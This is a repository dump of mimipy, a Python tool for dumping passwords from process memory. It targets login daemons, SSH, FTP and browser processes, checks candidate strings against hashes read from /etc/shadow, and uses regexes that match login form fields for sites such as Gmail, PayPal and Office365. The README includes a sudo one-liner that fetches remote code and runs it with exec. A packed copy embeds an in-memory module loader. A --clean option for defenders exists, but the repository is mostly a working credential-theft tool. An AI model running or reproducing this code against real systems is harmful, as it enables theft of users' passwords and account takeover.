Repository: n1nj4sec/mimipy Branch: master Commit: 59d8bfeaeb08 Files: 8 Total size: 258.5 KB Directory structure: gitextract_sbv7nb3m/ ├── .gitignore ├── LICENSE ├── README.md ├── mimipy.py ├── packed/ │ ├── mimipy.py │ ├── pack.py │ └── pupyimporter.py └── requirements.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python env/ build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ *.egg-info/ .installed.cfg *.egg # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *,cover .hypothesis/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder target/ # IPython Notebook .ipynb_checkpoints # pyenv .python-version # celery beat schedule file celerybeat-schedule # dotenv .env # virtualenv venv/ ENV/ # Spyder project settings .spyderproject # Rope project settings .ropeproject ================================================ FILE: LICENSE ================================================ BSD 3-Clause License Copyright (c) 2017, All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ================================================ FILE: README.md ================================================ # Mimipy Tool to dump passwords from various processes memory. Works on windows/linux/OSX ! Features : - Embbed technique from @huntergregal's [mimipenguin.sh](https://github.com/huntergregal/mimipenguin) to dump passwords from gnome-keyring with some additional features : - can dump passwords from lightDM - possibility to mitigate the attack by overwriting passwords found in memory (you might want to add a cron) - find GET/POST/Basic passwords from browsers memory or HTTP Servers - function to search for any trace of your password in all your processes - function to scan a process by pid with all techniques available ## Install you can install memorpy and run mimipy.py or directly use the packed version that doesn't require any dependency ```bash python packed/mimipy.py ``` you can also use one the following oneliner : ```bash sudo python -c 'import urllib;exec urllib.urlopen("https://raw.githubusercontent.com/n1nj4sec/mimipy/master/packed/mimipy.py").read()' ``` ## Usage ```bash usage: mimipy.py [-h] [--clean] [-v] [-n] [-p PID] [-i IGNORE] [--search-password] [-m {cleartext,xor,b64,all,no-cleartext}] mimipy can loot passwords from memory or overwrite them to mitigate mimipenguin's dumps ! Author: Nicolas VERDIER (contact@n1nj4.eu) orginal mimipenguin.sh script and idea from @huntergregal Bleeding Edge version: https://github.com/n1nj4sec/mimipy optional arguments: -h, --help show this help message and exit --clean @blueteams protect yourself and clean found passwords from memory ! You might want to regularly run this on your workstation/servers -v, --verbose be more verbose ! -n, --no-optimize disable optimisations (search the whole memory whatever region perms are) (slower) -p PID, --pid PID choose the process's pid to scan instead of automatic selection -i IGNORE, --ignore IGNORE ignore a process. This option can be used multiple times. ex: -i apache2 -i firefox --search-password prompt for your password and search it in all your processes !. -m {cleartext,xor,b64,all,no-cleartext}, --search-mode {cleartext,xor,b64,all,no-cleartext} search for different obfuscations methods ``` ## Contact by mail: contact@n1nj4.eu on Twitter: [Follow me on twitter](https://twitter.com/n1nj4sec) ## Special thanks Special thanks to @huntergregal for releasing his mimipenguin.sh idea and @gentilwiki for the awesome mimikatz tool ================================================ FILE: mimipy.py ================================================ #!/usr/bin/env python # -*- coding: UTF8 -*- # Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu) # mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms """ Author: Nicolas VERDIER (contact@n1nj4.eu) Original idea from @huntergregal (https://github.com/huntergregal/mimipenguin) This is a port in python of @huntergregal's bash script mimipenguin.sh with some improvments : - possibility to clean passwords found from memory - possibility to search for any trace of your password in all your processes - possibility to scan a process by pid - add some additional processes to scan like lightDM You can find the bleeding edge version of mimipy here : https://github.com/n1nj4sec/mimipy """ import sys, os import urllib2 import re import argparse import logging import time import random import traceback import base64 if sys.platform!="win32": import crypt class VersionError(Exception): pass try: from memorpy import * try: from memorpy.version import version as memorpy_version except: memorpy_version=(0,0) if memorpy_version < (1,6): logging.warning("memorpy version is too old, please update !") raise VersionError("memorpy version is too old, please update !") except ImportError as e: logging.warning("%s\ninstall with: \"pip install https://github.com/n1nj4sec/memorpy/archive/master.zip\""%e) raise e LOOK_AFTER_SIZE=2*10**6 LOOK_BEFORE_SIZE=2*10**6 def colorize(s, color="grey"): if s is None: return "" s=str(s) res=s COLOR_STOP="\033[0m" if color.lower()=="random": color=random.choice(["blue","red","green","yellow"]) if color.lower()=="blue": res="\033[34m"+s+COLOR_STOP if color.lower()=="red": res="\033[31m"+s+COLOR_STOP if color.lower()=="green": res="\033[32m"+s+COLOR_STOP if color.lower()=="yellow": res="\033[33m"+s+COLOR_STOP if color.lower()=="grey": res="\033[37m"+s+COLOR_STOP if color.lower()=="darkgrey": res="\033[1;30m"+s+COLOR_STOP return res def get_shadow_hashes(): if sys.platform=="win32" or sys.platform=="darwin": return [] hashes=[] try: with open('/etc/shadow', 'rb') as f: for line in f: tab=line.split(":") if len(tab[1])>10: hashes.append((tab[0],tab[1])) except Exception as e: logging.warning("Error retrieving shadow hashes: %s"%e) return hashes def memstrings(mw, start_offset=None, end_offset=None, optimizations=''): for _,x in mw.mem_search(r"([\x20-\x7e]{6,50})[^\x20-\x7e]", ftype='re', start_offset=start_offset, end_offset=end_offset, optimizations=optimizations): yield x passwords_found=set() def password_found(desc, process, user, password): global passwords_found if (process, user, password) not in passwords_found: passwords_found.add((process, user, password)) print colorize("%s : "%desc, color="green") print colorize("\t- Process\t: %s"%process, color="grey") print colorize("\t- Username\t: %s"%user, color="grey") print colorize("\t- Password\t: %s"%password, color="grey") def password_list_match(password_list, near): for passwd in password_list: if near.search(passwd): return True return False def cleanup_string(s): ns="" for c in s: if ord(c)<0x20 or ord(c)>0x7e: break ns+=c return ns def get_strings_around(mw, addr, string_at_addr, max_strings=30): strings_list=[] logging.debug("looking for strings around %s from %s to %s"%(hex(addr), int(addr-LOOK_BEFORE_SIZE), int(addr-LOOK_AFTER_SIZE))) for o in memstrings(mw, start_offset=int(addr-LOOK_BEFORE_SIZE), end_offset=int(addr+LOOK_AFTER_SIZE)): s=cleanup_string(o.read(type='string', maxlen=51, errors='ignore')) strings_list.append(s) if len(strings_list)>=30 and string_at_addr in strings_list[max_strings/2]: break elif len(strings_list)>30: strings_list=strings_list[1:] return strings_list def search_password(optimizations='nsrx', pid=None, mode="cleartext", ignore=[]): import getpass mypasswd=getpass.getpass("search your password: ") if mode!="no-cleartext": if mode=="cleartext" or mode=="all": print ("Searching for cleartext ...") search_string(mypasswd, optimizations=optimizations, pid=pid, ignore=ignore) else: mode="all" if mode=="xor" or mode=="all": for i in range(1,255): newpasswd=''.join([chr(ord(x)^i) for x in mypasswd]) print ("Searching for password xored with %s : %s ..."%(hex(i), repr(newpasswd))) search_string(newpasswd, optimizations=optimizations, pid=pid, ignore=ignore) if mode=="b64" or mode=="all": newpasswd=base64.b64encode(mypasswd) print ("Searching for password encoded with base64 : %s ..."%(newpasswd)) search_string(newpasswd, optimizations=optimizations, pid=pid, ignore=ignore) def search_string(mypasswd, optimizations='nsrx', pid=None, ignore=[]): for procdic in Process.list(): name=procdic.get("name","") cpid=int(procdic["pid"]) if sys.platform=="win32": if pid==0 or pid==4: continue if pid is not None: if pid!=cpid: continue elif cpid==os.getpid(): continue if ignore: ignore_proc=False for i in ignore: if i in name: ignore_proc=True break if ignore_proc: logging.info("process %s ignored"%name) continue logging.info("Searching pass in %s (%s)"%(name, cpid)) try: with MemWorker(pid=cpid) as mw: #for _,x in mw.mem_search(r"\$[0-9][a-z]?\$(?:[a-zA-Z0-9\./\-\+]{4,}\$)?[a-zA-Z0-9\./\-\+]{20,}", ftype='re'): # h=x.read(type='string', maxlen=300) # print "hash found in %s (%s) : %s"%(name, pid, h) # strings_list=get_strings_around(mw, x, h) # print "strings found around : %s"%strings_list # if not strings_list: # x.dump(before=200, size=400) for x in mw.mem_search(mypasswd, optimizations=optimizations): print colorize("[+] password found in process %s (%s) : %s !"%(name, cpid, x), color="green") x.dump(before=500, size=1000) print "strings found around : " strings_list=get_strings_around(mw, x, mypasswd) print "strings found around : %s"%strings_list #print "strings where the password's address is referenced :" #for _,o in mw.search_address(x): # o.dump(before=200, size=400) #print "done" except Exception as e: logging.error("Error scanning process %s (%s): %s"%(name, cpid, e)) logging.debug(traceback.format_exc()) #from https://github.com/putterpanda/mimikittenz mimikittenz_regex=[ ("Gmail","&Email=(?P.{1,99})?&Passwd=(?P.{1,99})?&PersistentCookie="), ("Dropbox","login_email=(?P.{1,99})&login_password=(?P.{1,99})&"), ("SalesForce","&display=page&username=(?P.{1,32})&pw=(?P.{1,16})&Login="), ("Office365","login=(?P.{1,32})&passwd=(?P.{1,22})&PPSX="), ("MicrosoftOneDrive","login=(?P.{1,42})&passwd=(?P.{1,22})&type=.{1,2}&PPFT="), ("PayPal","login_email=(?P.{1,48})&login_password=(?P.{1,16})&submit=Log\+In&browser_name"), ("awsWebServices","&email=(?P.{1,48})&create=.{1,2}&password=(?P.{1,22})&metadata1="), ("OutlookWeb","&username=(?P.{1,48})&password=(?P.{1,48})&passwordText"), ("Slack","&crumb=.{1,70}&email=(?P.{1,50})&password=(?P.{1,48})"), ("CitrixOnline","emailAddress=(?P.{1,50})&password=(?P.{1,50})&submit"), ("Xero ","fragment=&userName=(?P.{1,32})&password=(?P.{1,22})&__RequestVerificationToken="), ("MYOB","UserName=(?P.{1,50})&Password=(?P.{1,50})&RememberMe="), ("JuniperSSLVPN","tz_offset=-.{1,6}&username=(?P.{1,22})&password=(?P.{1,22})&realm=.{1,22}&btnSubmit="), ("Twitter","username_or_email%5D=(?P.{1,42})&session%5Bpassword%5D=(?P.{1,22})&remember_me="), ("Facebook","lsd=.{1,10}&email=(?P.{1,42})&pass=(?P.{1,22})&(?:default_)?persistent="), ("LinkedIN","session_key=(?P.{1,50})&session_password=(?P.{1,50})&isJsEnabled"), ("Malwr","&username=(?P.{1,32})&password=(?P.{1,22})&next="), ("VirusTotal","password=(?P.{1,22})&username=(?P.{1,42})&next=%2Fen%2F&response_format=json"), ("AnubisLabs","username=(?P.{1,42})&password=(?P.{1,22})&login=login"), ("CitrixNetScaler","login=(?P.{1,22})&passwd=(?P.{1,42})"), ("RDPWeb","DomainUserName=(?P.{1,52})&UserPass=(?P.{1,42})&MachineType"), ("JIRA","username=(?P.{1,50})&password=(?P.{1,50})&rememberMe"), ("Redmine","username=(?P.{1,50})&password=(?P.{1,50})&login=Login"), ("Github","%3D%3D&login=(?P.{1,50})&password=(?P.{1,50})"), ("BugZilla","Bugzilla_login=(?P.{1,50})&Bugzilla_password=(?P.{1,50})"), ("Zendesk","user%5Bemail%5D=(?P.{1,50})&user%5Bpassword%5D=(?P.{1,50})"), ("Cpanel","user=(?P.{1,50})&pass=(?P.{1,50})"), ] def search_http_creds(data, offset): #those basic string search pre-checks speed up a lot analysis if "Basic " in data: for res in GLOBAL_REGEX['Basic'].finditer(data): b64=res.groups()[0] try: user, password=base64.b64decode(b64).split(":",1) except: #if we can't decode it's a false positive pass else: yield "Basic", user, password, "unknown" for word in ["passw","Passw","PASSW"]: if word in data: index=0 while True: if index > len(data): break ni=data.find(word, index) if ni==-1: break si=ni-100 if si<0: si=0 #print "GET/POST in data %s"%offset for res in GLOBAL_REGEX['GET/POST'].finditer(data, si, ni+100): dic=res.groupdict() login=dic["Login"] passwd=dic["Password"] domain="unknown" #now we found a password, let's check if it's a known website for d, regex in mimikittenz_regex: if re.search(regex, data[si:ni+100]): domain=d break yield "GET/POST", dic["Login"], dic["Password"], domain index=ni+100 def loot_http_passwords(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'): logging.info("Analysing process %s (%s) for HTTP passwords ..."%(name, pid)) with MemWorker(name=name, pid=pid) as mw: for cred_type, login, password, domain in mw.mem_search(search_http_creds, ftype='lambda', optimizations=optimizations): desc=rule["desc"]+" "+cred_type+":<%s>"%domain yield (desc, login, password) def loot_mysql_passwords(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'): logging.info("Analysing process %s (%s) for MySQL passwords ..."%(name, pid)) with MemWorker(name=name, pid=pid) as mw: for cred_type, login, password in mw.mem_search(search_mysql_creds, ftype='lambda', optimizations=optimizations): yield (rule["desc"]+" "+cred_type, login, password) def test_shadow(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'): logging.info("Analysing process %s (%s) for shadow passwords ..."%(name, pid)) password_tested=set() #to avoid hashing the same string multiple times with MemWorker(name=name, pid=pid) as mw: scanned_segments=[] for _,match_addr in mw.mem_search(rule["near"], ftype='re', optimizations=optimizations): password_list=[] total=0 start=int(match_addr-LOOK_AFTER_SIZE) end=int(match_addr+LOOK_AFTER_SIZE) for s,e in scanned_segments: if end < s or start > e: continue #no collision elif start >=s and e >= start and end >= e: logging.debug("%s-%s reduced to %s-%s"%(hex(start), hex(end), hex(e), hex(end))) start=e-200 #we only scan a smaller region because some of it has already been scanned logging.debug("looking between offsets %s-%s"%(hex(start),hex(end))) scanned_segments.append((start, end)) for x in memstrings(mw, start_offset=start, end_offset=end, optimizations=optimizations): passwd=cleanup_string(x.read(type='string', maxlen=51, errors='ignore')) total+=1 password_list.append(passwd) if len(password_list)>40: password_list=password_list[1:] if password_list_match(password_list, rule["near"]): for p in password_list: if p not in password_tested: password_tested.add(p) for user, h in shadow_hashes: if crypt.crypt(p, h) == h: yield (rule["desc"], user, p) if clean: logging.info("cleaning password from memory in proc %s at offset: %s ..."%(name, hex(x))) x.write("x"*len(p)) shadow_hashes=[] def mimipy_loot_passwords(clean=False, optimizations='nsrx', ignore=None): global shadow_hashes shadow_hashes=get_shadow_hashes() for procdic in Process.list(): name=procdic.get("name", "") pid=int(procdic["pid"]) if sys.platform=="win32": if pid==0 or pid==4: continue if ignore: ignore_proc=False for i in ignore: if i in name: ignore_proc=True break if ignore_proc: logging.info("process %s ignored"%name) continue for rule in rules: if re.search(rule["process"], name): start_time=time.time() try: for t, u, p in rule["func"](name, pid, rule, clean=clean, optimizations=optimizations): yield (t, name, u, p) except Exception as e: logging.warning("[-] %s"%e) logging.debug(traceback.format_exc()) finally: logging.info("Process %s analysed in %s seconds"%(name, time.time()-start_time)) GLOBAL_REGEX = { #\x00Basic b64\x00 often found in firefox "Basic" : re.compile(r"(?:WWW-|Proxy-)?(?:(?:Authorization(?:\x00|:)\s*)|\x00)Basic\s+(?P[a-zA-Z0-9/\+]+={0,3})", re.IGNORECASE), #TODO: digest, ntlm, ... hashes are still nice "GET/POST" : re.compile(r"(:?e?mail(?:_?adress)?|log(?:in)?|user(?:name)?|session_key|user%5Bemail%5D)=(?P[a-zA-Z0-9%_+*.:-]{0,25})&.{0,10}?(?:[a-z]{1,10}_|user)?(?:pa?s?s?w?o?r?d?|mdp|%5Bpassword%5D)=(?P[a-zA-Z0-9%_+*.:-]{0,25})", re.IGNORECASE), "MySQL-Client-1" : re.compile(r"passwd\x00\x00!(?:\x00){2,}(?P[^\x00]+).*?shadow\x00\x00*!(?:\x00){2,}(?P[^\x00]+)"), "MySQL-Client-2" : re.compile(r"/var/run/mysqld/mysqld.sock(?:\x00)+[0-9\.-]+(?:\x00)+!(?:\x00)+(?P[^\x00]+)(?:\x00)+!(?:\x00)+(?P[^\x00]+)"), "MySQL-Client-3" : re.compile(r"\x00!(?:\x00)+(?P[^\x00]+)(?:\x00)+!(?:\x00)+(?P[^\x00]+)(?:\x00)+mysql> elp;"), } rules = [ { "desc" : "[SYSTEM - GNOME]", "process" : r"gnome-keyring-daemon|gdm-password|gdm-session-worker", "near" : r"libgcrypt\.so\..+|libgck\-1\.so\.0|_pammodutil_getpwnam_|gkr_system_authtok", "func" : test_shadow, }, { "desc" : "[SYSTEM - LightDM]", # Ubuntu/xubuntu login screen :) https://doc.ubuntu-fr.org/lightdm "process" : r"lightdm", "near" : r"_pammodutil_getpwnam_|gkr_system_authtok", "func" : test_shadow, }, { "desc" : "[SYSTEM - SSH Server - sudo]", "process" : r"/sshd$", "near" : r"sudo.+|_pammodutil_getpwnam_", "func" : test_shadow, }, { "desc" : "[SSH Client - sudo]", "process" : r"/ssh$", "near" : r"sudo.+|/tmp/ICE-unix/[0-9]+", "func" : test_shadow, }, { "desc" : "[SYSTEM - VSFTPD]", "process" : r"vsftpd", "near" : r"^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$", "func" : test_shadow, }, #{ # "desc" : "[MySQL Client]", # "process" : r"/mysql$", # "func" : loot_mysql_passwords, #}, { "desc" : "[HTTP]", "process" : r"firefox|iceweasel|chromium|chrome|/apache2|squid", "func" : loot_http_passwords, }, ] REGEX_TYPE=type(re.compile("^plop$")) #precompile regexes to optimize speed for x in rules: if "near" in x: if type(x["near"])!=REGEX_TYPE: x["near"]=re.compile(x["near"]) if "process" in x: if type(x["process"])!=REGEX_TYPE: x["process"]=re.compile(x["process"]) if __name__=="__main__": parser = argparse.ArgumentParser(description=""" mimipy can loot passwords from memory or overwrite them to mitigate mimipenguin\'s dumps ! Author: Nicolas VERDIER (contact@n1nj4.eu) orginal mimipenguin.sh script and idea from @huntergregal Bleeding Edge version: https://github.com/n1nj4sec/mimipy """, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('--clean', action='store_true', help='@blueteams protect yourself and clean found passwords from memory ! You might want to regularly run this on your workstation/servers') parser.add_argument('-v', '--verbose', action='store_true', help='be more verbose !') parser.add_argument('-d', '--debug', action='store_true', help='be a lot more verbose !') parser.add_argument('-n', '--no-optimize', action='store_true', help='disable optimisations (search the whole memory whatever region perms are) (slower)') parser.add_argument('-p', '--pid', type=int, help='choose the process\'s pid to scan instead of automatic selection') parser.add_argument('-i', '--ignore', action='append', help='ignore a process. This option can be used multiple times. ex: -i apache2 -i firefox') parser.add_argument('--search-password', action='store_true', help='prompt for your password and search it in all your processes !.') parser.add_argument('-m', '--search-mode', choices=["cleartext", "xor", "b64", "all", "no-cleartext"], default='cleartext', help='search for different obfuscations methods') args = parser.parse_args() if args.debug: logging.basicConfig(stream=sys.stderr, level=logging.INFO) elif args.verbose: logging.basicConfig(stream=sys.stderr, level=logging.INFO) else: logging.basicConfig(stream=sys.stderr, level=logging.WARNING) #logging.basicConfig(filename='example.log', level=logging.DEBUG) total_time=time.time() if sys.platform!='win32': if os.geteuid()!=0: if sys.platform=="darwin": logging.error("needs root to run mimipy on macOS") exit(1) else: logging.warning("Some of mimipy's functions are only available when running as root") opt="nsrx" if args.no_optimize: logging.info("Optimizations disabled") opt='' if args.search_password: search_password(optimizations=opt, pid=args.pid, mode=args.search_mode, ignore=args.ignore) exit(0) if args.pid: pid_found=False for procdic in Process.list(): name=procdic.get("name","") pid=int(procdic["pid"]) if sys.platform=="win32": if pid==0 or pid==4: continue if pid==args.pid: pid_found=True try: start_time=time.time() for rule in rules: for t,u,p in rule["func"](name, pid, rule, clean=args.clean, optimizations=opt): password_found(t, name, u, p) except Exception as e: logging.warning("[-] %s"%e) finally: logging.info("Process %s analysed in %s seconds"%(name, time.time()-start_time)) if not pid_found: logging.info("pid %s not found !"%args.pid) else: for t, process, u, passwd in mimipy_loot_passwords(optimizations=opt, clean=args.clean, ignore=args.ignore): password_found(t, process, u, passwd) logging.info("Script executed in %s seconds"%(time.time()-total_time)) ================================================ FILE: packed/mimipy.py ================================================ # Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu) # mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms # this is a self contained mimipy.py with all packages embedded # last version available here https://github.com/n1nj4sec/mimipy import imp, sys fullname='pupyimporter' mod = imp.new_module(fullname) mod.__file__ = "\%s" % fullname exec '# -*- coding: utf-8 -*-\n# ---------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# ---------------------------------------------------------------\n# This module uses the builtins modules pupy and _memimporter to load python modules and packages from memory, including .pyd files (windows only)\n# Pupy can dynamically add new modules to the modules dictionary to allow remote importing of python modules from memory !\n#\nimport sys, imp, marshal, gc\n\n__debug = False\n__trace = False\n\ndef dprint(msg):\n global __debug\n if __debug:\n print msg\n\ndef memtrace(msg):\n global __debug\n global __trace\n if __debug and __trace:\n import time\n import os\n import cPickle\n import gc\n\n msg = msg or \'unknown\'\n msg = msg.replace(\'/\', \'_\')\n\n gc.collect()\n snapshot = __trace.take_snapshot()\n\n if not os.path.isdir(\'/tmp/pupy-traces\'):\n os.makedirs(\'/tmp/pupy-traces\')\n\n with open(\'/tmp/pupy-traces/{}-{}\'.format(time.time(), msg), \'w+b\') as out:\n cPickle.dump(snapshot, out)\n\ntry:\n import _memimporter\n builtin_memimporter = True\n allow_system_packages = False\n\nexcept ImportError:\n builtin_memimporter = False\n allow_system_packages = True\n import ctypes\n import platform\n if sys.platform!="win32":\n libc = ctypes.CDLL(None)\n syscall = libc.syscall\n from tempfile import mkstemp\n from os import chmod, unlink, close, write\n\n class MemImporter(object):\n def __init__(self):\n self.dir = None\n self.memfd = None\n self.ready = False\n\n if platform.system() == \'Linux\':\n maj, min = platform.release().split(\'.\')[:2]\n if maj >= 3 and min >= 13:\n __NR_memfd_create = None\n machine = platform.machine()\n if machine == \'x86_64\':\n __NR_memfd_create = 319\n elif machine == \'__i386__\':\n __NR_memfd_create = 356\n\n if __NR_memfd_create:\n self.memfd = lambda: syscall(__NR_memfd_create, \'heap\', 0x1)\n self.ready = True\n return\n\n for dir in [\'/dev/shm\', \'/tmp\', \'/var/tmp\', \'/run\']:\n try:\n fd, name = mkstemp(dir=dir)\n except:\n continue\n\n try:\n chmod(name, 0777)\n self.dir = dir\n self.ready = True\n break\n\n finally:\n close(fd)\n unlink(name)\n\n def import_module(self, data, initfuncname, fullname, path):\n return self.load_library(data, fullname, dlopen=False, initfuncname=initfuncname)\n\n\n def load_library(self, data, fullname, dlopen=True, initfuncname=None):\n fd = -1\n closefd = True\n\n result = False\n\n if self.memfd:\n fd = self.memfd()\n if fd != -1:\n name = \'/proc/self/fd/{}\'.format(fd)\n closefd = False\n\n if fd == -1:\n fd, name = mkstemp(dir=self.dir)\n\n try:\n write(fd, data)\n if dlopen:\n result = ctypes.CDLL(fullname)\n else:\n if initfuncname:\n result = imp.load_dynamic(initfuncname[4:], name)\n else:\n result = imp.load_dynamic(fullname, name)\n\n except Exception as e:\n self.dir = None\n raise e\n\n finally:\n if closefd:\n close(fd)\n unlink(name)\n\n return result\n\n _memimporter = MemImporter()\n builtin_memimporter = _memimporter.ready\n\nmodules = {}\nremote_load_package = None\nremote_print_error = None\n\ntry:\n import pupy\n if not (hasattr(pupy, \'pseudo\') and pupy.pseudo) and not modules:\n modules = pupy.get_modules()\nexcept ImportError:\n pass\n\ndef get_module_files(fullname):\n """ return the file to load """\n global modules\n path = fullname.replace(\'.\',\'/\')\n\n files = [\n module for module in modules.iterkeys() \\\n if module.rsplit(".",1)[0] == path or any([\n path+\'/__init__\'+ext == module for ext in [\n \'.py\', \'.pyc\', \'.pyo\'\n ]\n ])\n ]\n\n if len(files) > 1:\n # If we have more than one file, than throw away dlls\n files = [ x for x in files if not x.endswith(\'.dll\') ]\n\n return files\n\ndef pupy_add_package(pkdic, compressed=False, name=None):\n """ update the modules dictionary to allow remote imports of new packages """\n import cPickle\n import zlib\n\n global modules\n\n if compressed:\n pkdic = zlib.decompress(pkdic)\n\n module = cPickle.loads(pkdic)\n\n dprint(\'Adding files: {}\'.format(module.keys()))\n\n modules.update(module)\n\n if name:\n try:\n __import__(name)\n except:\n pass\n\n gc.collect()\n\n memtrace(name)\n\ndef has_module(name):\n return name in sys.modules\n\ndef invalidate_module(name):\n global modules\n global __debug\n\n for item in modules.keys():\n if item == name or item.startswith(name+\'.\'):\n dprint(\'Remove {} from pupyimporter.modules\'.format(item))\n del modules[item]\n\n for item in sys.modules.keys():\n if not (item == name or item.startswith(name+\'.\')):\n continue\n\n mid = id(sys.modules[item])\n\n dprint(\'Remove {} from sys.modules\'.format(item))\n del sys.modules[item]\n\n if hasattr(pupy, \'namespace\'):\n dprint(\'Remove {} from rpyc namespace\'.format(item))\n pupy.namespace.__invalidate__(item)\n\n if __debug:\n for obj in gc.get_objects():\n if id(obj) == mid:\n dprint(\'Module {} still referenced by {}\'.format(\n item, [ id(x) for x in gc.get_referrers(obj) ]\n ))\n\n gc.collect()\n\ndef native_import(name):\n __import__(name)\n\nclass PupyPackageLoader:\n def __init__(self, fullname, contents, extension, is_pkg, path):\n self.fullname = fullname\n self.contents = contents\n self.extension = extension\n self.is_pkg=is_pkg\n self.path=path\n self.archive="" #need this attribute\n\n def load_module(self, fullname):\n imp.acquire_lock()\n try:\n dprint(\'loading module {}\'.format(fullname))\n if fullname in sys.modules:\n return sys.modules[fullname]\n\n mod=None\n c=None\n if self.extension=="py":\n mod = imp.new_module(fullname)\n mod.__name__ = fullname\n mod.__file__ = \'pupy://{}\'.format(self.path)\n if self.is_pkg:\n mod.__path__ = [mod.__file__.rsplit(\'/\',1)[0]]\n mod.__package__ = fullname\n else:\n mod.__package__ = fullname.rsplit(\'.\', 1)[0]\n code = compile(self.contents, mod.__file__, "exec")\n sys.modules[fullname] = mod\n exec (code, mod.__dict__)\n\n elif self.extension in ["pyc","pyo"]:\n mod = imp.new_module(fullname)\n mod.__name__ = fullname\n mod.__file__ = \'pupy://{}\'.format(self.path)\n if self.is_pkg:\n mod.__path__ = [mod.__file__.rsplit(\'/\',1)[0]]\n mod.__package__ = fullname\n else:\n mod.__package__ = fullname.rsplit(\'.\', 1)[0]\n sys.modules[fullname] = mod\n exec (marshal.loads(self.contents[8:]), mod.__dict__)\n\n elif self.extension in ("dll", "pyd", "so"):\n initname = "init" + fullname.rsplit(".",1)[-1]\n path = self.fullname.rsplit(\'.\', 1)[0].replace(".",\'/\') + "." + self.extension\n dprint(\'Loading {} from memory\'.format(fullname))\n dprint(\'init={} fullname={} path={}\'.format(initname, fullname, path))\n mod = _memimporter.import_module(self.contents, initname, fullname, path)\n if mod:\n mod.__name__=fullname\n mod.__file__ = \'pupy://{}\'.format(self.path)\n mod.__package__ = fullname.rsplit(\'.\',1)[0]\n sys.modules[fullname] = mod\n\n try:\n memtrace(fullname)\n except Exception, e:\n dprint(\'memtrace failed: {}\'.format(e))\n\n\n except Exception as e:\n\n if fullname in sys.modules:\n del sys.modules[fullname]\n\n import traceback\n exc_type, exc_value, exc_traceback = sys.exc_info()\n sys.stderr.write(\'Error importing %s : %s\'%(fullname, traceback.format_exc()))\n dprint(\'PupyPackageLoader: \'\n \'Error while loading package {} ({}) : {}\'.format(\n fullname, self.path, str(e)))\n if remote_print_error:\n try:\n remote_print_error("Error loading package {} ({} pkg={}) : {}".format(\n fullname, self.path, self.is_pkg, str(traceback.format_exc())))\n except:\n pass\n\n raise e\n\n finally:\n self.contents = None\n imp.release_lock()\n 